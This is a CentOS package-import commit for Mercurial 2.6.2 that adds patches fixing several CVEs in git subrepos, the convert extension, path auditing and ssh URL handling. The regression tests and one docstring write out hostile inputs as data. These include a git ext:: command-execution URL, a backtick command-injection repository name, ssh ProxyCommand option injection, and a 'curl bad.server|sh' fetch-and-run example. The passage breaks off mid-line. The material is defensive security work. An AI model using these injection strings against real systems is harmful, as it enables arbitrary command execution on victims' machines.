From 7d0f2b2ae665f6f874f24b03d06fd0f7627b3506 Mon Sep 17 00:00:00 2001 From: CentOS Sources Date: Nov 01 2019 20:20:05 +0000 Subject: import mercurial-2.6.2-10.el7 --- diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..45704c7 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +SOURCES/mercurial-2.6.2.tar.gz diff --git a/.mercurial.metadata b/.mercurial.metadata new file mode 100644 index 0000000..6440380 --- /dev/null +++ b/.mercurial.metadata @@ -0,0 +1 @@ +861c1df8f50347c8381df3aa7e296113ecf24ae6 SOURCES/mercurial-2.6.2.tar.gz diff --git a/SOURCES/mercurial-absolute-shebang.patch b/SOURCES/mercurial-absolute-shebang.patch new file mode 100644 index 0000000..ed2f81b --- /dev/null +++ b/SOURCES/mercurial-absolute-shebang.patch @@ -0,0 +1,9 @@ +diff -up mercurial-2.6.2/contrib/hg-ssh.orig mercurial-2.6.2/contrib/hg-ssh +--- mercurial-2.6.2/contrib/hg-ssh.orig 2013-10-04 14:15:08.788982260 +0200 ++++ mercurial-2.6.2/contrib/hg-ssh 2013-10-04 14:15:21.073976997 +0200 +@@ -1,4 +1,4 @@ +-#!/usr/bin/env python ++#!/usr/bin/python + # + # Copyright 2005-2007 by Intevation GmbH + # diff --git a/SOURCES/mercurial-cve-2016-3068.patch b/SOURCES/mercurial-cve-2016-3068.patch new file mode 100644 index 0000000..515a340 --- /dev/null +++ b/SOURCES/mercurial-cve-2016-3068.patch @@ -0,0 +1,99 @@ +From 837a69dc6ff77d8c93e73a64c067fe60530e4f1b Mon Sep 17 00:00:00 2001 +From: Mateusz Kwapich +Date: Sun, 20 Mar 2016 21:52:21 -0700 +Subject: [PATCH 1/6] subrepo: set GIT_ALLOW_PROTOCOL to limit git clone + protocols (SEC) + +CVE-2016-3068 (1/1) + +Git's git-remote-ext remote helper provides an ext:: URL scheme that +allows running arbitrary shell commands. This feature allows +implementing simple git smart transports with a single shell shell +command. However, git submodules could clone arbitrary URLs specified +in the .gitmodules file. This was reported as CVE-2015-7545 and fixed +in git v2.6.1. + +However, if a user directly clones a malicious ext URL, the git client +will still run arbitrary shell commands. + +Mercurial is similarly effected. Mercurial allows specifying git +repositories as subrepositories. Git ext:: URLs can be specified as +Mercurial subrepositories allowing arbitrary shell commands to be run +on `hg clone ...`. + +The Mercurial community would like to thank Blake Burkhart for +reporting this issue. The description of the issue is copied from +Blake's report. + +This commit changes submodules to pass the GIT_ALLOW_PROTOCOL env +variable to git commands with the same list of allowed protocols that +git submodule is using. + +When the GIT_ALLOW_PROTOCOL env variable is already set, we just pass it +to git without modifications. +--- + mercurial/subrepo.py | 5 +++++ + tests/test-subrepo-git.t | 34 ++++++++++++++++++++++++++++++++++ + 2 files changed, 39 insertions(+) + +diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py +index 3747377..7286f06 100644 +--- a/mercurial/subrepo.py ++++ b/mercurial/subrepo.py +@@ -1060,6 +1060,11 @@ class gitsubrepo(abstractsubrepo): + are not supported and very probably fail. + """ + self._ui.debug('%s: git %s\n' % (self._relpath, ' '.join(commands))) ++ if env is None: ++ env = os.environ.copy() ++ # fix for Git CVE-2015-7545 ++ if 'GIT_ALLOW_PROTOCOL' not in env: ++ env['GIT_ALLOW_PROTOCOL'] = 'file:git:http:https:ssh' + # unless ui.quiet is set, print git's stderr, + # which is mostly progress and useful info + errpipe = None +diff --git a/tests/test-subrepo-git.t b/tests/test-subrepo-git.t +index 9361193..24cb6a2 100644 +--- a/tests/test-subrepo-git.t ++++ b/tests/test-subrepo-git.t +@@ -558,3 +558,37 @@ traceback + #endif + + $ cd .. ++ ++test for Git CVE-2016-3068 ++ $ hg init malicious-subrepository ++ $ cd malicious-subrepository ++ $ echo "s = [git]ext::sh -c echo% pwned% >&2" > .hgsub ++ $ git init s ++ Initialized empty Git repository in $TESTTMP/tc/malicious-subrepository/s/.git/ ++ $ cd s ++ $ git commit --allow-empty -m 'empty' ++ [master (root-commit) 153f934] empty ++ $ cd .. ++ $ hg add .hgsub ++ $ hg commit -m "add subrepo" ++ $ cd .. ++ $ env -u GIT_ALLOW_PROTOCOL hg clone malicious-subrepository malicious-subrepository-protected ++ Cloning into '$TESTTMP/tc/malicious-subrepository-protected/s'... ++ fatal: transport 'ext' not allowed ++ updating to branch default ++ cloning subrepo s from ext::sh -c echo% pwned% >&2 ++ abort: git clone error 128 in s (in subrepo s) ++ [255] ++ ++whitelisting of ext should be respected (that's the git submodule behaviour) ++ $ env GIT_ALLOW_PROTOCOL=ext hg clone malicious-subrepository malicious-subrepository-clone-allowed ++ Cloning into '$TESTTMP/tc/malicious-subrepository-clone-allowed/s'... ++ pwned ++ fatal: Could not read from remote repository. ++ ++ Please make sure you have the correct access rights ++ and the repository exists. ++ updating to branch default ++ cloning subrepo s from ext::sh -c echo% pwned% >&2 ++ abort: git clone error 128 in s (in subrepo s) ++ [255] +-- +2.4.11 + diff --git a/SOURCES/mercurial-cve-2016-3069.patch b/SOURCES/mercurial-cve-2016-3069.patch new file mode 100644 index 0000000..66b0bb7 --- /dev/null +++ b/SOURCES/mercurial-cve-2016-3069.patch @@ -0,0 +1,283 @@ +diff --git a/hgext/convert/common.py b/hgext/convert/common.py +index e27346b..842ae71 100644 +--- a/hgext/convert/common.py ++++ b/hgext/convert/common.py +@@ -295,6 +295,9 @@ class commandline(object): + def _run2(self, cmd, *args, **kwargs): + return self._dorun(util.popen2, cmd, *args, **kwargs) + ++ def _run3(self, cmd, *args, **kwargs): ++ return self._dorun(util.popen3, cmd, *args, **kwargs) ++ + def _dorun(self, openfunc, cmd, *args, **kwargs): + cmdline = self._cmdline(cmd, *args, **kwargs) + self.ui.debug('running: %s\n' % (cmdline,)) +diff --git a/hgext/convert/git.py b/hgext/convert/git.py +index 3fd0884..8123b55 100644 +--- a/hgext/convert/git.py ++++ b/hgext/convert/git.py +@@ -7,11 +7,11 @@ + + import os + import subprocess +-from mercurial import util, config ++from mercurial import util, config, error + from mercurial.node import hex, nullid + from mercurial.i18n import _ + +-from common import NoRepo, commit, converter_source, checktool ++from common import NoRepo, commit, converter_source, checktool, commandline + + class submodule(object): + def __init__(self, path, node, url): +@@ -25,54 +25,32 @@ class submodule(object): + def hgsubstate(self): + return "%s %s" % (self.node, self.path) + +-class convert_git(converter_source): ++class convert_git(converter_source, commandline): + # Windows does not support GIT_DIR= construct while other systems + # cannot remove environment variable. Just assume none have + # both issues. +- if util.safehasattr(os, 'unsetenv'): +- def gitopen(self, s, err=None): +- prevgitdir = os.environ.get('GIT_DIR') +- os.environ['GIT_DIR'] = self.path +- try: +- if err == subprocess.PIPE: +- (stdin, stdout, stderr) = util.popen3(s) +- return stdout +- elif err == subprocess.STDOUT: +- return self.popen_with_stderr(s) +- else: +- return util.popen(s, 'rb') +- finally: +- if prevgitdir is None: +- del os.environ['GIT_DIR'] +- else: +- os.environ['GIT_DIR'] = prevgitdir +- else: +- def gitopen(self, s, err=None): +- if err == subprocess.PIPE: +- (sin, so, se) = util.popen3('GIT_DIR=%s %s' % (self.path, s)) +- return so +- elif err == subprocess.STDOUT: +- return self.popen_with_stderr(s) +- else: +- return util.popen('GIT_DIR=%s %s' % (self.path, s), 'rb') +- +- def popen_with_stderr(self, s): +- p = subprocess.Popen(s, shell=True, bufsize=-1, +- close_fds=util.closefds, +- stdin=subprocess.PIPE, +- stdout=subprocess.PIPE, +- stderr=subprocess.STDOUT, +- universal_newlines=False, +- env=None) +- return p.stdout +- +- def gitread(self, s): +- fh = self.gitopen(s) +- data = fh.read() +- return data, fh.close() ++ ++ def _gitcmd(self, cmd, *args, **kwargs): ++ return cmd('--git-dir=%s' % self.path, *args, **kwargs) ++ ++ def gitrun0(self, *args, **kwargs): ++ return self._gitcmd(self.run0, *args, **kwargs) ++ ++ def gitrun(self, *args, **kwargs): ++ return self._gitcmd(self.run, *args, **kwargs) ++ ++ def gitrunlines0(self, *args, **kwargs): ++ return self._gitcmd(self.runlines0, *args, **kwargs) ++ ++ def gitrunlines(self, *args, **kwargs): ++ return self._gitcmd(self.runlines, *args, **kwargs) ++ ++ def gitpipe(self, *args, **kwargs): ++ return self._gitcmd(self._run3, *args, **kwargs) + + def __init__(self, ui, path, rev=None): + super(convert_git, self).__init__(ui, path, rev=rev) ++ commandline.__init__(self, ui, 'git') + + if os.path.isdir(path + "/.git"): + path += "/.git" +@@ -86,11 +64,11 @@ class convert_git(converter_source): + + def getheads(self): + if not self.rev: +- heads, ret = self.gitread('git rev-parse --branches --remotes') +- heads = heads.splitlines() ++ output, ret = self.gitrun('rev-parse', '--branches', '--remotes') ++ heads = output.splitlines() + else: +- heads, ret = self.gitread("git rev-parse --verify %s" % self.rev) +- heads = [heads[:-1]] ++ rawhead, ret = self.gitrun('rev-parse', '--verify', self.rev) ++ heads = [rawhead[:-1]] + if ret: + raise util.Abort(_('cannot retrieve git heads')) + return heads +@@ -98,7 +76,7 @@ class convert_git(converter_source): + def catfile(self, rev, type): + if rev == hex(nullid): + raise IOError +- data, ret = self.gitread("git cat-file %s %s" % (type, rev)) ++ data, ret = self.gitrun('cat-file', type, rev) + if ret: + raise util.Abort(_('cannot read %r object at %s') % (type, rev)) + return data +@@ -137,25 +115,28 @@ class convert_git(converter_source): + self.submodules.append(submodule(s['path'], '', s['url'])) + + def retrievegitmodules(self, version): +- modules, ret = self.gitread("git show %s:%s" % (version, '.gitmodules')) ++ modules, ret = self.gitrun('show', '%s:%s' % (version, '.gitmodules')) + if ret: + raise util.Abort(_('cannot read submodules config file in %s') % + version) + self.parsegitmodules(modules) + for m in self.submodules: +- node, ret = self.gitread("git rev-parse %s:%s" % (version, m.path)) ++ node, ret = self.gitrun('rev-parse', '%s:%s' % (version, m.path)) + if ret: + continue + m.node = node.strip() + + def getchanges(self, version): + self.modecache = {} +- fh = self.gitopen("git diff-tree -z --root -m -r %s" % version) ++ cmd = ['diff-tree','-z', '--root', '-m', '-r'] + [version] ++ output, status = self.gitrun(*cmd) ++ if status: ++ raise error.Abort(_('cannot read changes in %s') % version) + changes = [] + seen = set() + entry = None + subexists = False +- for l in fh.read().split('\x00'): ++ for l in output.split('\x00'): + if not entry: + if not l.startswith(':'): + continue +@@ -178,8 +159,6 @@ class convert_git(converter_source): + self.modecache[(f, h)] = (p and "x") or (s and "l") or "" + changes.append((f, h)) + entry = None +- if fh.close(): +- raise util.Abort(_('cannot read changes in %s') % version) + + if subexists: + self.retrievegitmodules(version) +@@ -224,12 +203,14 @@ class convert_git(converter_source): + def gettags(self): + tags = {} + alltags = {} +- fh = self.gitopen('git ls-remote --tags "%s"' % self.path, +- err=subprocess.STDOUT) ++ output, status = self.gitrunlines('ls-remote', '--tags', self.path) ++ ++ if status: ++ raise error.Abort(_('cannot read tags from %s') % self.path) + prefix = 'refs/tags/' + + # Build complete list of tags, both annotated and bare ones +- for line in fh: ++ for line in output: + line = line.strip() + if line.startswith("error:") or line.startswith("fatal:"): + raise util.Abort(_('cannot read tags from %s') % self.path) +@@ -237,8 +218,6 @@ class convert_git(converter_source): + if not tag.startswith(prefix): + continue + alltags[tag[len(prefix):]] = node +- if fh.close(): +- raise util.Abort(_('cannot read tags from %s') % self.path) + + # Filter out tag objects for annotated tag refs + for tag in alltags: +@@ -255,18 +234,20 @@ class convert_git(converter_source): + def getchangedfiles(self, version, i): + changes = [] + if i is None: +- fh = self.gitopen("git diff-tree --root -m -r %s" % version) +- for l in fh: ++ output, status = self.gitrunlines('diff-tree', '--root', '-m', ++ '-r', version) ++ if status: ++ raise error.Abort(_('cannot read changes in %s') % version) ++ for l in output: + if "\t" not in l: + continue + m, f = l[:-1].split("\t") + changes.append(f) + else: +- fh = self.gitopen('git diff-tree --name-only --root -r %s ' +- '"%s^%s" --' % (version, version, i + 1)) +- changes = [f.rstrip('\n') for f in fh] +- if fh.close(): +- raise util.Abort(_('cannot read changes in %s') % version) ++ output, status = self.gitrunlines('diff-tree', '--name-only', ++ '--root', '-r', version, ++ '%s^%s' % (version, i + 1), '--') ++ changes = [f.rstrip('\n') for f in output] + + return changes + +@@ -278,14 +259,14 @@ class convert_git(converter_source): + prefixlen = len(prefix) + + # factor two commands +- gitcmd = { 'remote/': 'git ls-remote --heads origin', +- '': 'git show-ref'} ++ gitcmd = { 'remote/': ['ls-remote', '--heads origin'], ++ '': ['show-ref']} + + # Origin heads + for reftype in gitcmd: + try: +- fh = self.gitopen(gitcmd[reftype], err=subprocess.PIPE) +- for line in fh: ++ output, status = self.gitrunlines(*gitcmd[reftype]) ++ for line in output: + line = line.strip() + rev, name = line.split(None, 1) + if not name.startswith(prefix): + +diff --git a/tests/test-convert-git.t b/tests/test-convert-git.t +index 21f18d2..7eb068b 100644 +--- a/tests/test-convert-git.t ++++ b/tests/test-convert-git.t +@@ -341,7 +341,7 @@ damage git repository by renaming a commit object + $ COMMIT_OBJ=1c/0ce3c5886f83a1d78a7b517cdff5cf9ca17bdd + $ mv git-repo4/.git/objects/$COMMIT_OBJ git-repo4/.git/objects/$COMMIT_OBJ.tmp + $ hg convert git-repo4 git-repo4-broken-hg 2>&1 | grep 'abort:' +- abort: cannot read tags from git-repo4/.git ++ abort: cannot retrieve number of commits in git-repo4/.git + $ mv git-repo4/.git/objects/$COMMIT_OBJ.tmp git-repo4/.git/objects/$COMMIT_OBJ + damage git repository by renaming a blob object + +@@ -356,3 +356,20 @@ damage git repository by renaming a tree object + $ mv git-repo4/.git/objects/$TREE_OBJ git-repo4/.git/objects/$TREE_OBJ.tmp + $ hg convert git-repo4 git-repo4-broken-hg 2>&1 | grep 'abort:' + abort: cannot read changes in 1c0ce3c5886f83a1d78a7b517cdff5cf9ca17bdd ++ ++test for escaping the repo name (CVE-2016-3069) ++ ++ $ git init '`echo pwned >COMMAND-INJECTION`' ++ Initialized empty Git repository in $TESTTMP/`echo pwned >COMMAND-INJECTION`/.git/ ++ $ cd '`echo pwned >COMMAND-INJECTION`' ++ $ git commit -q --allow-empty -m 'empty' ++ $ cd .. ++ $ hg convert '`echo pwned >COMMAND-INJECTION`' 'converted' ++ initializing destination converted repository ++ scanning source... ++ sorting... ++ converting... ++ 0 empty ++ updating bookmarks ++ $ test -f COMMAND-INJECTION ++ [1] diff --git a/SOURCES/mercurial-cve-2017-1000115-1000116.patch b/SOURCES/mercurial-cve-2017-1000115-1000116.patch new file mode 100644 index 0000000..a8373de --- /dev/null +++ b/SOURCES/mercurial-cve-2017-1000115-1000116.patch @@ -0,0 +1,771 @@ +diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py +index 5c23633..e44ae51 100644 +--- a/mercurial/cmdutil.py ++++ b/mercurial/cmdutil.py +@@ -2018,7 +2018,7 @@ def revert(ui, repo, ctx, parents, *pats, **opts): + fc = ctx[f] + repo.wwrite(f, fc.data(), fc.flags()) + +- audit_path = scmutil.pathauditor(repo.root) ++ audit_path = scmutil.pathauditor(repo.root, cached=True) + for f in remove[0]: + if repo.dirstate[f] == 'a': + repo.dirstate.drop(f) +diff --git a/mercurial/context.py b/mercurial/context.py +index 137c1f2..c3d96a0 100644 +--- a/mercurial/context.py ++++ b/mercurial/context.py +@@ -360,7 +360,7 @@ class changectx(object): + r = self._repo + return matchmod.match(r.root, r.getcwd(), pats, + include, exclude, default, +- auditor=r.auditor, ctx=self) ++ auditor=r.nofsauditor, ctx=self) + + def diff(self, ctx2=None, match=None, **opts): + """Returns a diff generator for the given contexts and matcher""" +@@ -1137,6 +1137,13 @@ class workingctx(changectx): + finally: + wlock.release() + ++ def match(self, pats=[], include=None, exclude=None, default='glob'): ++ r = self._repo ++ return matchmod.match(r.root, r.getcwd(), pats, ++ include, exclude, default, ++ auditor=r.auditor, ctx=self) ++ ++ + def markcommitted(self, node): + """Perform post-commit cleanup necessary after committing this ctx + +diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py +index 6fbba21..c89bdd8 100644 +--- a/mercurial/dirstate.py ++++ b/mercurial/dirstate.py +@@ -695,7 +695,7 @@ class dirstate(object): + # unknown == True means we walked the full directory tree above. + # So if a file is not seen it was either a) not matching matchfn + # b) ignored, c) missing, or d) under a symlink directory. +- audit_path = scmutil.pathauditor(self._root) ++ audit_path = scmutil.pathauditor(self._root, cached=True) + + for nf in iter(visit): + # Report ignored items in the dmap as long as they are not +diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py +index d4d675f..dcaaf40 100644 +--- a/mercurial/localrepo.py ++++ b/mercurial/localrepo.py +@@ -159,7 +159,9 @@ class localrepository(object): + self.path = self.wvfs.join(".hg") + self.origroot = path + self.auditor = scmutil.pathauditor(self.root, self._checknested) +- self.vfs = scmutil.vfs(self.path) ++ self.nofsauditor = scmutil.pathauditor(self.root, self._checknested, ++ realfs=False, cached=True) ++ self.vfs = scmutil.vfs(self.path, cacheaudited=True) + self.opener = self.vfs + self.baseui = baseui + self.ui = baseui.copy() +@@ -220,7 +222,9 @@ class localrepository(object): + if inst.errno != errno.ENOENT: + raise + +- self.store = store.store(requirements, self.sharedpath, scmutil.vfs) ++ self.store = store.store( ++ requirements, self.sharedpath, ++ lambda base: scmutil.vfs(base, cacheaudited=True)) + self.spath = self.store.path + self.svfs = self.store.vfs + self.sopener = self.svfs +diff --git a/mercurial/posix.py b/mercurial/posix.py +index a8fc82b..4f04a56 100644 +--- a/mercurial/posix.py ++++ b/mercurial/posix.py +@@ -7,6 +7,7 @@ + + from i18n import _ + import encoding ++import error ##TODOCVE + import os, sys, errno, stat, getpass, pwd, grp, socket, tempfile, unicodedata + + posixfile = open +@@ -64,7 +65,13 @@ def parsepatchoutput(output_line): + def sshargs(sshcmd, host, user, port): + '''Build argument list for ssh''' + args = user and ("%s@%s" % (user, host)) or host +- return port and ("%s -p %s" % (args, port)) or args ++ if '-' in args[:1]: ++ raise error.Abort( ++ _('illegal ssh hostname or username starting with -: %s') % args) ++ args = shellquote(args) ++ if port: ++ args = '-p %s %s' % (shellquote(port), args) ++ return args + + def isexec(f): + """check whether a file is executable""" +diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py +index f8c96c1..88a35b5 100644 +--- a/mercurial/scmutil.py ++++ b/mercurial/scmutil.py +@@ -118,12 +118,22 @@ class pathauditor(object): + - traverses a symlink (e.g. a/symlink_here/b) + - inside a nested repository (a callback can be used to approve + some nested repositories, e.g., subrepositories) ++ ++ The file system checks are only done when 'realfs' is set to True (the ++ default). They should be disable then we are auditing path for operation on ++ stored history. ++ ++ If 'cached' is set to True, audited paths and sub-directories are cached. ++ Be careful to not keep the cache of unmanaged directories for long because ++ audited paths may be replaced with symlinks. + ''' + +- def __init__(self, root, callback=None): ++ def __init__(self, root, callback=None, realfs=True, cached=False): + self.audited = set() + self.auditeddir = set() + self.root = root ++ self._realfs = realfs ++ self._cached = cached + self.callback = callback + if os.path.lexists(root) and not util.checkcase(root): + self.normcase = util.normcase +@@ -166,33 +176,39 @@ class pathauditor(object): + normprefix = os.sep.join(normparts) + if normprefix in self.auditeddir: + break +- curpath = os.path.join(self.root, prefix) +- try: +- st = os.lstat(curpath) +- except OSError, err: +- # EINVAL can be raised as invalid path syntax under win32. +- # They must be ignored for patterns can be checked too. +- if err.errno not in (errno.ENOENT, errno.ENOTDIR, errno.EINVAL): +- raise +- else: +- if stat.S_ISLNK(st.st_mode): +- raise util.Abort( +- _('path %r traverses symbolic link %r') +- % (path, prefix)) +- elif (stat.S_ISDIR(st.st_mode) and +- os.path.isdir(os.path.join(curpath, '.hg'))): +- if not self.callback or not self.callback(curpath): +- raise util.Abort(_("path '%s' is inside nested " +- "repo %r") +- % (path, prefix)) ++ ++ if self._realfs: ++ self._checkfs(prefix,path) + prefixes.append(normprefix) + parts.pop() + normparts.pop() + +- self.audited.add(normpath) +- # only add prefixes to the cache after checking everything: we don't +- # want to add "foo/bar/baz" before checking if there's a "foo/.hg" +- self.auditeddir.update(prefixes) ++ if self._cached: ++ self.audited.add(normpath) ++ # only add prefixes to the cache after checking everything: we don't ++ # want to add "foo/bar/baz" before checking if there's a "foo/.hg" ++ self.auditeddir.update(prefixes) ++ ++ def _checkfs(self, prefix, path): ++ curpath = os.path.join(self.root, prefix) ++ try: ++ st = os.lstat(curpath) ++ except OSError, err: ++ # EINVAL can be raised as invalid path syntax under win32. ++ # They must be ignored for patterns can be checked too. ++ if err.errno not in (errno.ENOENT, errno.ENOTDIR, errno.EINVAL): ++ raise ++ else: ++ if stat.S_ISLNK(st.st_mode): ++ raise util.Abort( ++ _('path %r traverses symbolic link %r') ++ % (path, prefix)) ++ elif (stat.S_ISDIR(st.st_mode) and ++ os.path.isdir(os.path.join(curpath, '.hg'))): ++ if not self.callback or not self.callback(curpath): ++ raise util.Abort(_("path '%s' is inside nested " ++ "repo %r") ++ % (path, prefix)) + + def check(self, path): + try: +@@ -276,13 +292,19 @@ class vfs(abstractvfs): + + This class is used to hide the details of COW semantics and + remote file access from higher level code. ++ ++ 'cacheaudited' should be enabled only if (a) vfs object is short-lived, or ++ (b) the base directory is managed by hg and considered sort-of append-only. ++ See pathauditor() for details. + ''' +- def __init__(self, base, audit=True, expandpath=False, realpath=False): ++ def __init__(self, base, audit=True, cacheaudited=False, expandpath=False, ++ realpath=False): + if expandpath: + base = util.expandpath(base) + if realpath: + base = os.path.realpath(base) + self.base = base ++ self._cacheaudited = cacheaudited + self._setmustaudit(audit) + self.createmode = None + self._trustnlink = None +@@ -293,7 +315,8 @@ class vfs(abstractvfs): + def _setmustaudit(self, onoff): + self._audit = onoff + if onoff: +- self.audit = pathauditor(self.base) ++ self.audit = pathauditor( ++ self.base, cached=self._cacheaudited) + else: + self.audit = util.always + +@@ -685,8 +708,9 @@ def addremove(repo, pats=[], opts={}, dry_run=None, similarity=None): + if similarity is None: + similarity = float(opts.get('similarity') or 0) + # we'd use status here, except handling of symlinks and ignore is tricky ++ ##NOTE _interestingfiles() ## + added, unknown, deleted, removed = [], [], [], [] +- audit_path = pathauditor(repo.root) ++ audit_path = pathauditor(repo.root, cached=True) + m = match(repo[None], pats, opts) + rejected = [] + m.bad = lambda x, y: rejected.append(x) +diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py +index 71fed08..5f46b70 100644 +--- a/mercurial/sshpeer.py ++++ b/mercurial/sshpeer.py +@@ -35,6 +35,8 @@ class sshpeer(wireproto.wirepeer): + if u.scheme != 'ssh' or not u.host or u.path is None: + self._abort(error.RepoError(_("couldn't parse location %s") % path)) + ++ util.checksafessh(path) ++ + self.user = u.user + if u.passwd is not None: + self._abort(error.RepoError(_("password in URL not supported"))) +diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py +index 7286f06..6347ace 100644 +--- a/mercurial/subrepo.py ++++ b/mercurial/subrepo.py +@@ -969,6 +969,10 @@ class svnsubrepo(abstractsubrepo): + # The revision must be specified at the end of the URL to properly + # update to a directory which has since been deleted and recreated. + args.append('%s@%s' % (state[0], state[1])) ++ ++ # SEC: check that the ssh url is safe ++ util.checksafessh(state[0]) ++ + status, err = self._svncommand(args, failok=True) + if not re.search('Checked out revision [0-9]+.', status): + if ('is already a working copy for a different URL' in err +@@ -1172,6 +1176,9 @@ class gitsubrepo(abstractsubrepo): + + def _fetch(self, source, revision): + if self._gitmissing(): ++ # SEC: check for safe ssh url ++ util.checksafessh(source) ++ + source = self._abssource(source) + self._ui.status(_('cloning subrepo %s from %s\n') % + (self._relpath, source)) +diff --git a/mercurial/util.py b/mercurial/util.py +index 8ea36bb..36d507d 100644 +--- a/mercurial/util.py ++++ b/mercurial/util.py +@@ -1863,6 +1863,21 @@ def hasdriveletter(path): + def urllocalpath(path): + return url(path, parsequery=False, parsefragment=False).localpath() + ++def checksafessh(path): ++ """check if a path / url is a potentially unsafe ssh exploit (SEC) ++ ++ This is a sanity check for ssh urls. ssh will parse the first item as ++ an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. ++ Let's prevent these potentially exploited urls entirely and warn the ++ user. ++ ++ Raises an error.Abort when the url is unsafe. ++ """ ++ path = urllib.unquote(path) ++ if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): ++ raise error.Abort(_('potentially unsafe url: %r') % ++ (path,)) ++ + def hidepassword(u): + '''hide user credential in a url string''' + u = url(u) +diff --git a/mercurial/windows.py b/mercurial/windows.py +index 1e8a623..40a5a50 100644 +--- a/mercurial/windows.py ++++ b/mercurial/windows.py +@@ -6,7 +6,7 @@ + # GNU General Public License version 2 or any later version. + + from i18n import _ +-import osutil, encoding ++import osutil, encoding, error ##TODOCVE + import errno, msvcrt, os, re, stat, sys, _winreg + + import win32 +@@ -100,7 +100,14 @@ def sshargs(sshcmd, host, user, port): + '''Build argument list for ssh or Plink''' + pflag = 'plink' in sshcmd.lower() and '-P' or '-p' + args = user and ("%s@%s" % (user, host)) or host +- return port and ("%s %s %s" % (args, pflag, port)) or args ++ if args.startswith('-') or args.startswith('/'): ++ raise error.Abort( ++ _('illegal ssh hostname or username starting with - or /: %s') % ++ args) ++ args = shellquote(args) ++ if port: ++ args = '%s %s %s' % (pflag, shellquote(port), args) ++ return args + + def setflags(f, l, x): + pass +diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t +index 5f49e7f..08d61bb 100644 +--- a/tests/test-audit-path.t ++++ b/tests/test-audit-path.t +@@ -27,6 +27,45 @@ should still fail - maybe + abort: path 'b/b' traverses symbolic link 'b' (glob) + [255] + ++ $ hg commit -m 'add symlink b' ++ ++ ++Test symlink traversing when accessing history: ++----------------------------------------------- ++ ++(build a changeset where the path exists as a directory) ++ ++ $ hg up 0 ++ 0 files updated, 0 files merged, 1 files removed, 0 files unresolved ++ $ mkdir b ++ $ echo c > b/a ++ $ hg add b/a ++ $ hg ci -m 'add directory b' ++ created new head ++ ++Test that hg cat does not do anything wrong the working copy has 'b' as directory ++ ++ $ hg cat b/a ++ c ++ $ hg cat -r "desc(directory)" b/a ++ c ++ $ hg cat -r "desc(symlink)" b/a ++ b/a: no such file in rev bc151a1f53bd ++ [1] ++ ++Test that hg cat does not do anything wrong the working copy has 'b' as a symlink (issue4749) ++ ++ $ hg up 'desc(symlink)' ++ 1 files updated, 0 files merged, 1 files removed, 0 files unresolved ++ $ hg cat b/a ++ b/a: no such file in rev bc151a1f53bd ++ [1] ++ $ hg cat -r "desc(directory)" b/a ++ c ++ $ hg cat -r "desc(symlink)" b/a ++ b/a: no such file in rev bc151a1f53bd ++ [1] ++ + #endif + + +@@ -90,3 +129,90 @@ attack /tmp/test + [255] + + $ cd .. ++ ++Test symlink traversal on merge: ++-------------------------------- ++ ++#if symlink ++ ++set up symlink hell ++ ++ $ mkdir merge-symlink-out ++ $ hg init merge-symlink ++ $ cd merge-symlink ++ $ touch base ++ $ hg commit -qAm base ++ $ ln -s ../merge-symlink-out a ++ $ hg commit -qAm 'symlink a -> ../merge-symlink-out' ++ $ hg up -q 0 ++ $ mkdir a ++ $ touch a/poisoned ++ $ hg commit -qAm 'file a/poisoned' ++ $ hg log -G '{rev}: {desc}\n' ++ ++try trivial merge ++ ++ $ hg up -qC 1 ++ $ hg merge 2 ++ abort: path 'a/poisoned' traverses symbolic link 'a' ++ [255] ++ ++try rebase onto other revision: cache of audited paths should be discarded, ++and the rebase should fail (issue5628) ++ ++ $ hg up -qC 2 ++ $ hg rebase -s 2 -d 1 --config extensions.rebase= ++ abort: path 'a/poisoned' traverses symbolic link 'a' ++ [255] ++ $ ls ../merge-symlink-out ++ ++ $ cd .. ++ ++Test symlink traversal on update: ++--------------------------------- ++ ++ $ mkdir update-symlink-out ++ $ hg init update-symlink ++ $ cd update-symlink ++ $ ln -s ../update-symlink-out a ++ $ hg commit -qAm 'symlink a -> ../update-symlink-out' ++ $ hg rm a ++ $ mkdir a && touch a/b ++ $ hg ci -qAm 'file a/b' a/b ++ $ hg up -qC 0 ++ $ hg rm a ++ $ mkdir a && touch a/c ++ $ hg ci -qAm 'rm a, file a/c' ++ $ hg log -G '{rev}: {desc}\n' ++ ++try linear update where symlink already exists: ++ ++ $ hg up -qC 0 ++ $ hg up 1 ++ abort: path 'a/b' traverses symbolic link 'a' ++ [255] ++ ++try linear update including symlinked directory and its content: paths are ++audited first by calculateupdates(), where no symlink is created so both ++'a' and 'a/b' are taken as good paths. still applyupdates() should fail. ++ ++ $ hg up -qC null ++ $ hg up 1 ++ abort: path 'a/b' traverses symbolic link 'a' ++ [255] ++ $ ls ../update-symlink-out ++ ++try branch update replacing directory with symlink, and its content: the ++path 'a' is audited as a directory first, which should be audited again as ++a symlink. ++ ++ $ rm -f a ++ $ hg up -qC 2 ++ $ hg up 1 ++ abort: path 'a/b' traverses symbolic link 'a' ++ [255] ++ $ ls ../update-symlink-out ++ ++ $ cd .. ++ ++#endif +diff --git a/tests/test-clone.t b/tests/test-clone.t +index 55e8a4a..2b09c4e 100644 +--- a/tests/test-clone.t ++++ b/tests/test-clone.t +@@ -621,3 +621,66 @@ re-enable perm to allow deletion + #endif + + $ cd .. ++ ++SEC: check for unsafe ssh url ++ ++ $ cat >> $HGRCPATH << EOF ++ > [ui] ++ > ssh = sh -c "read l; read l; read l" ++ > EOF ++ ++ $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ [255] ++ $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path' ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ [255] ++ $ hg clone 'ssh://fakehost|touch%20owned/path' ++ abort: no suitable response from remote hg! ++ [255] ++ $ hg clone 'ssh://fakehost%7Ctouch%20owned/path' ++ abort: no suitable response from remote hg! ++ [255] ++ ++ $ hg clone 'ssh://-oProxyCommand=touch 